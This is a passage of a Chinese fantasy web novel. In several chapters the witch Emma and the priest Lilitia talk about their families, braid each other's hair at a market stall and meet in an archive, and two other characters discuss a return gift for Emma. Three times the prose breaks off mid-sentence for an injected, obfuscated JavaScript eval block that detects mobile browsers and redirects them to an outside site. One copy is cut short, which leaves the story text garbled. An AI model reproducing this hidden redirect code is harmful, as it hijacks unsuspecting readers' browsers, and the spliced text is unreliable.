“对我不至于跑掉,但会突然沉默。看似可以沟通,实际完全无法对话。她是个比看起来要固执得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16542263|175926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多的人吧?” 利利提亚将餐叉横过来切开蛋糕,随意道,“她自己大概不明白这点。” 艾玛叹了口气:“我还希望能和她成为朋友……” “对象如果是女巫,对她恐怕很难。”利利提亚说,“您倒是从来没说过想和我成为朋友。” 碗里化开的糖水在法术的催动下重新凝固,艾玛挖了一勺冰淇淋,疑惑地投去目光:“你用不着吧。” 利利提亚点头:“嗯,也就是说,您觉得我们已经是朋友了。” “好乐观的理解。” “真伤人啊。” “其他人认为,女巫和他们是不同的,所以不能和我作为对等的朋友。而你完全相反。所以,用不着吧。” 利利提亚恍然,笑道:“啊——原来是这样。” “虽然这么说。”艾玛道,“其实你意外给我‘没什么朋友’的印象。” “好有攻击性的评价。” “贝拉算你的朋友吗?”艾玛说,“听起来,你们很熟悉。” “她是个很好的同事。工作能力出色,做事认真严谨,是不错的搭档。”利利提亚漫不经心地转动玻璃杯,端起来喝了一口,“不过她不擅长自己做决定,明明有想法,但不信任自己的思考。比起朋友……更像需要让人担心的妹妹。” 艾玛一愣,思索一会儿,客观地说:“贝拉是68年的,比我们都要大。” “哎呀,我是指感觉上,不是说实际年龄。”利利提亚笑道,“真要说,我确实有个血缘上的妹妹。不过我们关系不太好呢。她比我小六岁,跟母亲很亲近,但和我没什么话题。” “六岁差得很多。”艾玛意外道。 “是啊,在贵族中也十足罕见。我母亲坚持如此。她希望没有任何人能动摇我的继承权。 “弟弟妹妹的年纪和我差距越大,对我的威胁性也就越小。我父亲很不满,他崇尚养蛊式的教育法,毕竟他自己就是这种教育方式培养出的胜利者。 “以我母亲的话语地位,他无法改变她的想法,就想让我和其他贵族的继承人攀比竞争。好在,他很快发现这种比较没意义了。” 利利提亚微笑,“我那个小八岁的弟弟很怕我,每次见到我都很紧张。可以想象,作为后来者,他的学习行事总会被拿来跟我比较。有我这样的兄长,很不幸吧。” 艾玛回忆说:“我也有一个弟弟和一个妹妹,同父异母的,只差了两三岁。” “从没听您提过。” “嗯……因为也算关系不太好?”艾玛想想,“我是私生女,他们不知道这件事,从来直接叫我的名字,也不觉得我是‘姐姐’。 “我没有作为姐姐的身份,也没有这种自觉。不如说,完全没有和他们有血缘关系的实感。只是在别人提到兄弟姐妹的时候总会想起来,觉得他们好像符合这层身份定义。 “如果他们知道和我有血缘关系,也只会觉得不光彩,想来不会高兴的。” 利利提亚说:“您很少讲自己的事。” “只是觉得有点相像,所以提一句。大概是共情?” “共情大概不是这样的反应。” “这样啊,那就不是。”艾玛语气没什么变化,仍然平平淡淡地扒拉着自己的点心,仿佛刚刚叙述的也不是自己不幸的过去。 利利提亚说:“您同情我吗?” 艾玛抬起眼:“你需要吗?” 问句,但是没有疑问的、否定的语意。 利利提亚笑起来:“和您聊天真让人愉快。” 114.发饰 艾玛在百货店里转了一圈,走回门口时,发现利利提亚正在结账。 “买了什么?”艾玛好奇地望望他手里的纸袋,装着个方形盒子。 “手工模型,需要自己拼装的,拼完后大概是盒子上这样的小屋。” 他们走出店铺,利利提亚递给她看,艾玛扫了一眼:“你对手工有兴趣?” “还可以吧。” “有点意外。”艾玛说,“这类手工作品完成后,一般会摆起来当装饰。我记得你办公室陈设很简单,看起来没什么装饰的兴致。” “我是没有装饰房间的喜好。”利利提亚笑,“您误会了,这是我想送给费鲁南特的。” 艾玛读懂了他现在心情颇好的理由,欲言又止一下,还是开了口:“之前就想问,你是不是讨厌费鲁南特?” “怎么会这么想?送礼物不是关系好的表现吗?” “关系好是指,给工作忙得连轴转的费鲁南特,送这么需要花费时间拼装的礼物?” 艾玛想想,“而且,我记得他好像很怕你。” 利利提亚正了正神色,认真道,“在女巫殿下——我的上司面前,针对这种严肃的工作问题,我得做些辩解: “在自己职责范围内的工作,我都有自己完成。有时候不在办公室是事实,很多部分亲自去和负责人交接谈话更有效率。 “费鲁南特是神谕祭司的监察骑士和助理,我拜托他处理的部分,都完全合乎规章定义里他的职责范围。” “嗯,我相信。”艾玛点头,“也相信你钻文字空子的本事。” “哎呀,但我也真的没有那么过分啦。”利利提亚道,“我平时对他都很客气呀。我也不知道他为什么那么怕我。” 艾玛问:“真的吗?” “好伤人啊。”利利提亚耸一耸肩,“好吧——虽然没经过认证,但对缘由也不是没有猜想:费鲁南特的直觉很敏锐,作为魔法师。 “因为有过长时间在沙漠中生活的经历,他的警惕心很高,对危险的预见和觉知能力比一般人灵敏,像动物本能之类。 “他大概感觉到了得罪我会很可怕,所以过度担心,事实上,如果没什么理由,我也不可能对他做什么啊。” 艾玛看他一眼:“你看起来可完全没有因为被过度警惕而困扰,反而很乐在其中。” “这么明显吗?” “表情里完全没藏住,你也没想藏啊。” 利利提亚握拳掩一掩上扬的唇线,眼睛却已经弯起来:“好吧,这也是真话。我不讨厌费鲁南特,这种认真、正直,有点小聪明,会勉强自己的类型……戏弄起来很有意思吧。” “兴趣真差。”艾玛评价。 “总要从生活里给自己找点乐趣。”利利提亚笑,“其实如果要说……弗里蒙斯先生也是我想开玩笑的那种人,但弄不好会得罪菲提,我还是不想找她的麻烦,所以算了。” “这种地方也要看后台,真忍不住替费鲁南特感到可怜了。” “值得同情,但决定很多事的其实都是自己的选择。”利利提亚说,“如果不是同时兼任两个岗位,他的工作不会那么多。 “说是想早点退休才让自己现在这么忙,但我猜,他那样的人,就是时时把自己放在焦虑中才反而会安心。 “您相信吗?即使提前完成了贡献值,他也不会很早离职。” 艾玛看他一眼:“你没想做点什么?” “看到他焦虑的样子感觉我心情会变好,所以什么都不用做吧?” 利利提亚真诚道,“不过负荷过度导致病倒,没有人处理工作的话就不好了,当然我也会适当照顾他的身心健康,一定会及时送他去医疗部——需要的话。” “我最早有点意外。”艾玛说,“见到你没多久,我就能看出来,你足够聪明,也熟悉社交,还有天生的好外表。如果你想要别人喜欢你,会很容易。你只是没那么去做。 “如果你真的有心表演,我接触到的那些对你的评价,应该不至于这么分化。” 利利提亚笑笑:“您太高看我,也太低估他人的直觉。” 艾玛动了动眉毛:“是吗?” “表演虽然有效,但也只针对那些和我接触甚少,并不真正和我相关,或是纯粹愚蠢的人。很多人的直觉都没有我们想象得那么迟钝,多少会察觉到异样背后的本质。 “表演到最后,欺骗的是别人,还是自以为是的自己呢?” 利利提亚笑一笑,说:“这是些经验之谈。我并不是没有表演过,在身处罗穆卢斯的时候。无论效果如何,我都不觉得愉快。 “我们已经谈论过这个问题。您仍然认为,人应该以最‘合适’的姿态生活,哪怕为此隐藏自己的本性,是吗?” “我们讨论过了。我理解我们看法不同。这是你的选择,我尊重这一点。” “嗯,我当然明白您的意思。我也这样想过,并试着这么说服自己。所以我以别人期待的姿态生活了那么多年,但最后,最骗不过去的人,不还是自己吗?” 利利提亚轻声说,“遵照本能生活或许确实可鄙,但背离本能,最终又不知道自己为什么活着了。” 艾玛沉默了一会儿,看向利利提亚手里的纸袋:“所以,这个,还是要送吗?” “要送的哦。都买了嘛,我不打算拼呢。”利利提亚微笑。 艾玛说:“得罪你大概确实很麻烦。” “您只是觉得麻烦,好高兴。” 艾玛看了看街面,思索道:“我想想,送点什么可以缓解费鲁南特的压力,到时候你一起转交好了。” “好心但不完全好心。” “总不能把你开掉吧。” 利利提亚微笑:“有权限的话,您会那么做吗?” 艾玛想了想:“这是个假设。我相信你的能力,开掉你反而麻烦,所以不会。” “我喜欢您这种性格。” “不太高兴得起来啊。” . . 街边的小摊上摆满首饰,从珍珠玛瑙到琉璃彩漆,在阳光下反射出各异色彩。 艾玛站在摊边看了一会儿。 摊主是个较为内向的女孩,一直没主动搭话,这时旁边的顾客向她询问购买事宜,摊主走去那边正和人谈话。 为了保持降低存在感的魔法石的效力,利利提亚尽量避免主动向人发起对话,这种时候更安静得像消失一样。 艾玛倒是清楚记得他的存在,这时想起看看他人在哪儿。 摊上饰物太多,有的夹扎在桌布上,长长垂下来,拖到地面。 利利提亚正蹲在旁边,摆弄着扎在低处布料上的首饰,金属的反光一闪一闪。 难得以这样的视角看见他,艾玛的注意力落在利利提亚的长发上。 银色的发丝在橘黄的光线里亮得很低调,藏着一条河流般的碎星的闪光。 “怎么了吗?” 艾玛不声不响拈起他一缕头发观察的时候,利利提亚才仰过头询问,眨眨眼睛。 利利提亚的发丝比看起来粗些,柔顺且有光泽。 艾玛摸了一会儿,折起他的发丝,缠在手指上卷了卷,松开时仍然根根分明,滑过指缝的触感如丝绸淌过。 利利提亚笑声的震动轻微地从发尾落到她指节上:“您想给我扎头发吗?” “你平时发型都很简单,也很少换发饰。” “越细致的发式越容易散乱。我平时活动多,这还挺麻烦的。” 利利提亚说着,拆下自己的头饰,扣在手臂上,弯曲成一个金色的臂环。 头顶的头发在拨动里微微凌乱,冒起一个一个弧形的尖头。 艾玛拉平了那几个跳跃的曲线:“我以为你要说长发不影响你活动。” “还是有点影响,不过在接受范围以内,而且好处比坏处多。 “比如,有些法术需要用到人体的一部分,最常见的就是头发和血液,往往被运用于诅咒和契约之类的术式,像是最广为人知的‘扎小人’。” “那得用诅咒对象的头发吧。” “神殿祭司评级考核里就有基础的术式反追踪和解除诅咒的要求,但现实里,诅咒的法术中最常出现的总是‘特别简单基础’和‘复杂到毫无处理头绪’的两种极端——您扎完了?” 说话间,艾玛已经挽了几圈他的头发,用摊上的发卡固定住,打量一番后啧了声:“不好看——拆了吧。” “我看看。”利利提亚站起身,取来摊位上的镜子照着,“——很不错呀。这是您从哪里学来的发式?” “在旅行的时候,商队里的人教我的。她们扎得好看多了,不像这么松散……” 艾玛皱眉一会儿,向他招招手,“我再试一次。” 利利提亚于是又在她身边蹲下,艾玛给他扎头发时得弯着腰。 他站起来就比艾玛要高,这里没有椅子,怎么都不太方便。 她重新扎了两次,都不大满意,固定后又把发夹解开,长发便顺滑地再度漾开来,捞在手中一大把。 “你头发真多啊,很长,而且不打结。”艾玛重新挽起他的头发时说,“留长发的男性比较少,你是一直养着没有剪吗?” “偶尔在活动的时候弄断了头发,会趁机修一修,一般不剪。只有——十三岁的时候剪短过一次。 “我父亲觉得我头发留长了太像女孩,‘不像话’,所以剪了。母亲没说什么,但看得出有点伤心。她喜欢我留长发,所以后来就不剪了。” “你自己呢,更喜欢长发吗?” “差不太多吧。比起自己想怎么做,采取行为后他人的反应更有意思。因为留长头发能让父亲生气,所以这样更好。” 艾玛第四次扎好了他的头发,仍不算满意,但宣告放弃,在决定如何处置前交予受试人观察自己被实验结果的权力。 利利提亚对着镜子看完:“我觉得很好。” “不喜欢的话就拆了吧,不用这么客气,我只是随手扎一下。” 艾玛把其他试过用来固定的发夹放回摊位上,“这个发型可能跟你的发质不太合适……总是固定不牢。” “但我很喜欢。这发夹是您选的?”利利提亚转一转镜子,观察着镜里黄色水晶的反光,“——像您眼睛的颜色。” 艾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16547303|175926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 玛看了看发夹,看了看镜子里自己的眼睛,客观说:“这个水晶的颜色更深一点。” “是哦。”利利提亚又对比了一会儿。 挽起头发后,耳饰就显得更醒目。 利利提亚今天换了一对深红色的耳坠,隐约折着光,在他的动作里微微摇晃。 艾玛盯了一会儿,伸手去摸他的耳坠。 利利提亚只是意外一下,便停住了动作,任耳坠躺在艾玛手心里。 他的耳饰倒是不少,艾玛见他换过很多次,镶嵌的多是魔法石,不纯粹的装饰效用。 艾玛问过几回它们的效果,每次都不相同,后来也懒得问了。 艾玛松开手,手指向下顺着落到他脖颈上。 春天怡人的温度里,利利提亚的脖颈却仍然是冰凉的。 “好冷。” 艾玛的手贴在他颈动脉评价,“——你体温好低。不是因为穿得不够多?” 指背传来发声带来的震动。 利利提亚说:“是体质原因。奥古斯塔家族有蛇的血脉,大概受到了一些影响。” “克蕾娜的耳背上有一点鳞片。蛇的话……鳞片,尖牙,和信子?” 利利提亚张开口,吐出一点舌尖,没有蛇信子那样的分叉,艾玛能看见他并不过分锐利的犬齿。 “很正常嘛。”艾玛说。 “让您失望了?我没有明显的蛇的特征,体表也没有鳞片,只有体温异常低这点或许和它们接近。” “蛇的体温也不是一直很低,会随环境温度变化的。” “真遗憾,那看来是完全不像了。”利利提亚说,“嗯……我也不太清楚。同样属于这条血脉直系,和我最接近,能作为参考的,大概要数我的母亲,但我也不知道她的体温怎么样。 “我不喜欢和他人有过多肢体接触,抱歉,是我的习惯过于回避,还是您确实没什么边界感?” “是吗?”艾玛诧异道,“上次你带着我从楼上跳下去的时候,是你主动提出的,那时我们还更不熟悉。” “我很少向人发出这样的邀请,而且,您是唯一一个答应了的。”利利提亚微笑。 “哦,这样啊。”艾玛说。 利利提亚停顿一下,说:“我也可以为您扎头发吗?” 很快,他补充道:“我没有试过给他人扎头发,只有打理自己头发的经验,大概扎不好。如果您介意,我就不乱动了。” “那正好。我手艺也很差,刚刚折腾了你头发半天,你折腾回来也算扯平了。” 艾玛不假思索地答应了,转过身,拆掉头上的发卡。 利利提亚打量了一会儿她的长发,伸出手。 指尖一压在头发上,发丝便顺着这轻微的力道分开了,散向两边,像被分开的水流,又比流水更轻盈。 艾玛的头发也养得长,看着心情气候修剪,散下来时发尾垂到腰上,像一帘深黑的幕。 黏稠的颜色,触摸起来却轻得像云雾,似乎拨一拨就会漫开。 她的发丝很细,松松地直垂着,不做什么修饰,彼此贴得很紧密,像一羽蕴着水汽的长尾。 利利提亚学着她刚才那样,卷起艾玛的头发,在指节上绕了几圈,新奇地体会它们从指腹上滑开时轻飘的触感。 但那发尾滑行的动作一顿,卡住了。 “啊。”利利提亚愣一下。 “啊,”艾玛也想起来,“忘了说,我头发很容易打结。” “因为发丝太细了吧。” “是啊,打理的时候还挺麻烦的。” 看得出利利提亚没什么替人修饰头发的经验,思索选用什么发型就花了些时间,在固定环节失败了第一次,第二次又太松散,第三次却好得多,看起来很像样了。 利利提亚只将她半层头发缠绕束起,底下半层仍然如帘幕般垂在脑后,艾玛调整了角度才从镜子里看清楚:“还不错。好像不算难,挺适合日常扎的。” “之前和文礼司的同事一起准备祭典妆造,看的时候记住了这个。” “文礼司平时会对主祭司的着装打扮有要求吗?” “除了外交和典礼之类的场合,文礼司不多管,其他就看各人喜好自觉了。不过偶尔有同事会给我的打扮出主意,文礼司的职员在这方面更为擅长,他们的建议很值得参考。” 艾玛触摸头上的发饰,在镜面里看见水晶暗红色的反光。 注意到艾玛的神色,利利提亚问:“您不喜欢吗?” “只是有点意外。因为发色深,别人一般会推荐亮色的发饰。” “我喜欢红色,看了令人感到温暖,想来会与您相称的,所以试了试。如果您觉得不合适,换一个吧。” “不,这样就好。”艾玛转过头,看利利提亚仍然没有拆开她扎的发型的意思,“你就这样回去吗?” “我马上去结账。”利利提亚表示完全明白,没有忘记。 “我是说——头发。”艾玛比划一下,“还是有点……嗯,不太合适,被人看见大概会被问,很麻烦。” “今晚休息前我会拆掉的。现在,暂且让我留个纪念吧。”利利提亚笑着说。 115.碰瓷 艾玛打开档案室时是傍晚,门的设计向外拉开,房间里的窗户开着半扇,流动的气流掀起几张散落的纸片打了个旋,险些飘到门外来。 橙红的夕光和银色的长发一起坠落在地上,房间昏暗,那双偏转过来望她的蓝色眼睛在橙色里都显出模糊的暧昧。 利利提亚看见艾玛,对她笑道:“下午好,女巫殿下。真稀奇啊。” 艾玛在门口停顿了三五秒,确认利利提亚坐在地上,周围摊着一地散乱的文件不出于自己的错觉,才开口说:“我想起在沙漠和商队做生意的时候,有个术语叫,‘碰瓷’。” “哦,我也知道。”利利提亚眨眨眼睛,“我离开罗穆卢斯之后,就是搭着各路商队的车来到阿瓦托芬的。有些做生意的人真是欠缺诚信,很不讲道理呢。” 艾玛说:“我可以问问发生了什么吗?” 利利提亚回答:“当然。真是不好意思。因为来档案室查资料,不想去搬梯子,省事试图用移动的法术把想要的文档取出来,有点走神,结果大失败,如您所见。” “还原位置的法术呢?” “空间时间倒流型和物品还原修复类的法术我都不会,今天也没带相应的戒指,正犯愁呢。 “为了短暂地逃避现实,干脆坐在这里先看资料。但是,看来这段逃避时间很有用,这不就等到了您。” 利利提亚微笑,摊开手,“不打乱现场会让您更好还原吧,可以帮个忙吗?” 艾玛收拢五指,地面上的文件漂浮起来,再将五指张开,如同时间回转,文件们倒流回书架上,恢复井然有序的排列。 做完这些,她向利利提亚伸出手。 利利提亚本想自己站起来,但艾玛主动邀请,他也从善如流地递出手。 还没来得及道谢,艾玛说:“另一只。” 利利提亚收回右手,把左手递到她手上。 艾玛端详他手指上的戒指,压了压食指上那枚。 银制的底托,镶着块圆滑的白色石块,石块边缘有一圈不规则的黑色,晕染墨水般抽出线条。 从花纹质感看来,很有些年头了,但保养不错。 “这枚你总是戴着,没见你用过。”她说。 “这是被动型的魔法石,平时就有在发挥效力。它用于检测毒物。”利利提亚低下视线,看了戒指一眼,“贵族担心耐毒性培养训练会影响到遗传和血统,所以往往在工具上动心思。 “但是毒药很复杂,尤其是慢性长期作用的药物,难以检测,更难预防。这枚戒指上的魔法石对慢性毒药都有一定的检测力,长期佩戴才能生效。 “因为很罕见,我也需要这样的道具,所以在离开家族的时候带出来了。” “毒药会对你有影响吗?”艾玛说,“我还以为够强的魔法师都躲得掉。” “对于足够成熟的女巫,毒药不再能起到作用。而大多魔法师即使能避开直觉预感到的烈毒,要是在这方面太自信,往往就殒命得莫名其妙。” 利利提亚压一压眼角,上抬目光,表现出一点可怜,“我虽然在魔法上很强,体质恢复力不错,但身体仍然只是普通人类的标准。 “受到的伤势太重,或是吃了剂量致命的毒药,也一样会死,很脆弱。所以,您能对我温柔点吗?” 艾玛说:“我没对你做什么吧。” “那我可以站起来说话吗?” 艾玛松了松手上的动作,掌心向上为他提供一个借力的支点。 利利提亚的指尖在她手心里,起身时微微下压,却并不沉重。 因为肢体力量很强。艾玛想。明明也不需要借她的力。 “太感谢了,我正不知道怎么解决,还好您来了。您真是我的救星。”利利提亚温柔地说。 艾玛说:“你这样很像碰瓷。” “真冤枉,我在商队的时候,还是帮他们解决碰瓷的角色呢。” “你跟着商队,也做生意?”根据近来的了解,艾玛不觉得他对商业有兴趣。 “我给他们当护卫。”利利提亚微笑。 “哦,听起来好可靠。”艾玛说,“不过商队的护卫都需要可信的人引荐,你找人写的推荐信?” “没有啦,只是把他们原来的护卫打趴下了而已。” “哦,真可靠。”艾玛说。 “我离开罗穆卢斯的时候带的东西不多,路费和通行许可都不够,商队护卫有很多便利,对我来说正好。护送过商队一两次之后,实在需要引荐的也不必担心了。” 利利提亚笑笑,“沙漠真是有趣的地方,丰富而混乱,规则足够简单,连强盗都好猜得让人感到可爱。跟他们打交道相当放松。” “可以想象,你在沙漠里再多待上两年,我旅行的时候恐怕就能听见你的事迹了。” 艾玛低下眼,看他的手,“说来——之前有一点感觉。你平时右手用得比较多,但是不是左手更顺手?” “啊,您发现了。”利利提亚惊讶了一下,“是的,我是左利手,但小时候被要求纠正,现在已经惯用右手了。不过,还是稍微有点差异。” “应该不是非改不可,也未必改得掉天生的习惯。” “是啊。只是书写、阅读、餐桌礼仪,各方面的习惯都依照大多数右利手制定,与众不同就会显得突兀奇怪。我受到的教育太严格,不能允许这样的情况。” 利利提亚想了想,“现在……只是觉得差别不大。有时候顺势用回了左手,一般人也注意不到。您真细心呢。” “我遇见的左利手的朋友提过,强行把习惯改成右手很多年,最后还是换回左手更自在。但也有人习惯之后改回来反而造成混乱。对相关的描述很有印象,所以注意到了。” 艾玛瞥向利利提亚手里的文件。将那些散落的文件还回架子上后,这些仍留在原地,看来是利利提亚带进来的。 他起身时将它们拿在手里,艾玛在纸张的角落上扫到他流利的签名。 “你会用左手签名吗?”艾玛顺口问道。 “想的话是可以啦。”利利提亚注意到她的视线,大方地举起文件,让艾玛能把签名看得更清楚,“不过这个是右手写的。” 艾玛端详了一会儿:“很漂亮。我记得你改过名字,但现在的签名看起来也很熟练。” “虽然跟原名变化也不是太大,其实我还挺喜欢那个名字含义的。”利利提亚的目光走过纸面的字形,“‘自由的星星’,我母亲选择的寓意。 “我重命名时加了个前缀。‘利’那个音节做前缀的时候,在罗穆卢斯的古语语法里,是‘重生’‘新开始’的意思。” “哦,真不错。”艾玛说。 利利提亚笑道:“那么——说了这么多都没有提到来意,看来您没什么急事。我们今天本来没有约定,突然来找我,是有什么用得上我的地方?” “是不着急。看你不在办公室,费鲁南特说你到这边档案室来找资料,我就过来看看。你后面忙?” “不忙,您先说吧。” 艾玛仍然表情平淡:“突然想吃烤肉排,加土豆和香料的那种,不知道有没有合适的店,想问问你推荐。” “真荣幸能让您想起来。唔,符合这个描述的餐馆有好几家,等下我向您介绍看看,您再决定?” “你还真熟悉呢。”艾玛说,“有时候觉得你在这方面了解得让人奇怪。” “食欲是人与生俱来的基础欲望,进食更是生命活动里不可缺失的一环。作为重复率极高的生理需求,加以重视,追求新意,都不奇怪吧?” 利利提亚语气轻松,“反正做什么不是打发时间呢。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“根据他自己的理论,恐怕他会将自己信仰的神明证伪。要接受这种事不容易。” “如果没有这种自欺欺人的困惑,书里很多地方可以写得再简明确定些。当然,这种痛苦值得同情。”利利提亚说。 “这书没有后记,也不知道他最终怎么样。”艾玛道。 “如果信仰于他不是救命稻草,神明的存在与否只是一种理论的正误,那么推翻理论之后,大概率还可以换一种方式生活下去。 “如果他是个狂信者,那基本没救了。对信仰太过执着的疯子,崩溃起来也很容易。” 艾玛看了他一眼:“你是后一种人吗?” “您觉得我是吗?”利利提亚反问。 “之前不会相信,现在觉得不好说。”艾玛回答。 “请放心吧,支撑我的并不是这种执着。我所信仰的神确实存在,这就足够了。” 利利提亚对艾玛微笑道,“您的存在更能让我再次确切地认识到这一点,我很感激。” 艾玛无话了几秒:“我有时觉得,比起那些事事对我客气到极点的信徒,能跟我开玩笑的你,反而更认为我与月神相等。但你和我相处时的思考和态度,又最接近对待一个与你对等的‘人’。 “如果这个部分是因为你认识到我希望如此,而刻意表现,我会不高兴。可我的直觉不认为你是故意的。我不反感,只是觉得奇怪。” “您说得我不好意思了。”利利提亚用文件掩了半张脸,却弯起眼睛,“我不会对您说谎。只要您想了解,我什么都可以告诉您,哪怕以拆解我的方式向您展示和证明。” “嗯……”艾玛没什么气力地压掉气音,说,“太麻烦了。可以先决定晚上吃什么吗?” “好的,我想想,从哪里开始——” 116.回礼 “真是帮大忙了。”克蕾娜松了口气,“你的实验模型组能节省很多时间,思路值得学习,数据分析处理也够简明。我都以为时间不够,要赶不上了。 “多亏有你,谢了,改天我请你吃饭?” “不用,只是顺手帮个忙而已,客气了。” 西里斯转移了话题,视线望向克蕾娜办公桌面上的杯子,“这个玻璃杯,新买的?之前那个是瓷的。” 克蕾娜的视线从实验册上移开,落到那个新玻璃杯上,想起什么,尴尬地揉了揉眉心:“啊,对,前两天艾玛出门的……前两天,女巫殿下逛街时候买的,说觉得好看,送我了。” 确实好看。玻璃壁上的切面和雕花都颇精致,想来很能衬出酒液折转的光线,此刻却朴实而低调地装着一整杯刚刚开始变凉的热麦茶。 无怪乎西里斯会特意问到,这杯子的风格和克蕾娜实在不搭,跟她先前那个没有一点花纹的实用主义瓷杯天差地别。 虽然这玻璃杯看起来是装酒的设计,但克蕾娜不爱喝酒,本着不浪费的原则开始拿它日常泡茶。 送礼人没有介意,觉得能被用上就好。 “女巫殿下最近不是经常在城里四处逛吗,有时候会带点礼物给我,零零碎碎,也有好几次了…… “蛋糕,糖包,烤饼,吃的还好,但有时候送得有些,怎么说……偏正式,吗?我觉得我是不是也该回点礼……” 克蕾娜头痛地转了转玻璃杯,沉吟着,“应该要送点东西,可是毕竟对方是女巫殿下,送得太随便很失礼……” “玻璃杯和烤饼也挺随便的。”西里斯说。 “我也知道她大概没想太多……但是,那跟我这边的态度是两回事啊!” 克蕾娜一敲桌面,心情沉痛,“啊——我真的很不擅长送东西!其实上个礼拜就在想了!但还是没想好要送什么!” “也送吃的?”西里斯提议。 “不行太随便了。”克蕾娜秒速否决。 又抓挠了一会儿头发,克蕾娜想起眼前这位正是上选的咨询对象:“对了,你应该知道女巫殿下喜欢什么?” “她的兴趣很广泛。”西里斯说,“其实只要选你喜欢的东西就可以了,她会高兴的。” “不是吧,太宽泛了……”克蕾娜苍白地比划,“不然给个方向?食物类的就算了……首饰不太合适……日用品……装饰摆件,这类比较好吧,花瓶笔架啊什么的。 “嗯?好像不错。女巫殿下喜欢什么风格的?” 西里斯想了想,说:“她喜欢可爱的,还有毛茸茸的小东西。” “等一下我们是在说花瓶或者笔架吧?长草的花瓶吗?”克蕾娜打手势暂停,“等等,你是说玩偶?好像也行……” “或者用料特殊,触感或者视觉上新奇的物品。比起造型,她会更在乎材质。” “为什么好像又说回花瓶了?” 克蕾娜的思维跟着跳一圈回来,跟上了,“这么说,倒是有点思路。那,颜色上呢?她有什么偏好吗?” “她在颜色上的偏好不强烈,看物品和哪种颜色适配更重要。实在要说,她也喜欢粉红色,但这颜色的东西买得比较少,你可以考虑。” “诶……”克蕾娜陷入思索。 西里斯垂下目光:“该说这方面是迟钝,还是什么呢……我能从她的表情和肢体反应里看出她的偏好,但她自己有时候分不清楚。 “比起感觉,更多时候像在用大脑思考‘什么更合适’,所以‘确实有好感的’和‘思考认为更合适的’边界模糊了。 “她不怎么主动为自己买低实用价值的非必需品,别人送的倒是无所谓,只有装饰性,甚至不知道拿来做什么的,她收到也很高兴。 “比起为自己购置物品,她更乐于给他人挑选礼物,有时候单纯是选了自己喜欢的东西,反而不考虑礼物和收礼人是否适配……” 西里斯停了停:“抱歉,说得有点多了。” “你很了解她。”克蕾娜说。 “毕竟一起生活过很多年。”西里斯淡淡说。 “其实我也不是没想过要送糕饼点心,那些店的包装又好看,最适合当礼物送人。感觉不够正式是一方面,还有……最近,女巫殿下不是总和利利提亚一起出去吗?感觉我会挑的店他也会向女巫殿下推荐,我怕送重样。” 克蕾娜顿一下,努力让表情和声音不要显出刻意,“他们最近走得很近,你不在意吗?” 西里斯笑了笑,垂眼拿过进门时克蕾娜倒给他的茶水:“你还是适合有话直说。” 克蕾娜咳一下:“意思到就行。” “如果只是客套,艾玛不会和他接触那么多次,他们大概相处得不错。”西里斯的声音没什么波澜,甚至算得上轻松。 克蕾娜拿不准西里斯是在故作无所谓,还是真的不在乎。 她犹疑几秒,叹了口气,抓抓脑袋,散乱的发丛里更被抓出几个死结:“我是弄不明白你俩的关系……这么说可能是我太主观了,你,呃,你怎么想我不清楚,但是艾……女巫殿下,我觉得她是,喜欢你的。” 克蕾娜听见他喉间溢出的震动,像一道苦涩的笑声或叹息。 “但我能给她什么呢?”这问题不知道在问谁,克蕾娜愣神的时候,西里斯抬起眼睛向她望过来,仍然神色平常,“如果她真的喜欢上了那个‘利利提亚’,恐怕也比喜欢我要好。” “怎么可能!”说到这个克蕾娜可就来劲了,眼神都锐利了三分,“肯定是反过来吧!我怎么看你都比那小子要靠谱十倍!” “你不帮他说话?”西里斯扬一扬眉毛。 “我吃饱了撑的还是脑袋撞门上了帮他说话。” “我以为你们是朋友。”西里斯说,“他看起来对你不一样。” 克蕾娜的那种劲头像突地卡在了门缝里,在原地僵了片刻,慢慢泄下气,发出一声不知是嘲笑谁的模糊气音:“哪里不一样?” “‘看起来’。” “嗯……‘看起来’。” 克蕾娜沉默了一会儿,声音慢慢恢复了平常的声线,平稳里带着散漫的疲倦:“他或许真的在乎我……或许当我是朋友,这只是他建立在现在这个社会身份上的关系之一。 “如果有一天,他不再需要这个身份,建立在这个身份上的所有关联对他都没有意义。” “我不觉得他们走得近是好事。”克蕾娜顿了顿,压压眉心,“算了……我说什么也不作数。女巫殿下自己有分寸,我也不用担无谓的心。还是想想这段实验忙完之后,下一步……” 克蕾娜停住声音,因为想到实验流程走了神,找回注意时目光正聚焦在西里斯脸上,突然有些没头没脑地蹦出一句:“艾玛说你比我们大很多。” 她说完才反应过来,没来得及补救。 “没关系,你直接叫她名字吧。在我面前坚持敬语没什么意义,这里也没有其他人。”西里斯说。 “咳、不,这太……”克蕾娜失声几秒,还是决定做一些无用的找补,“艾玛、我是说女巫殿下她,咳,说她不喜欢别人跟她讲话的时候用敬语,所以我在她面前,就,最近有点习惯……抱歉,总之刚才的你就当没听到。” 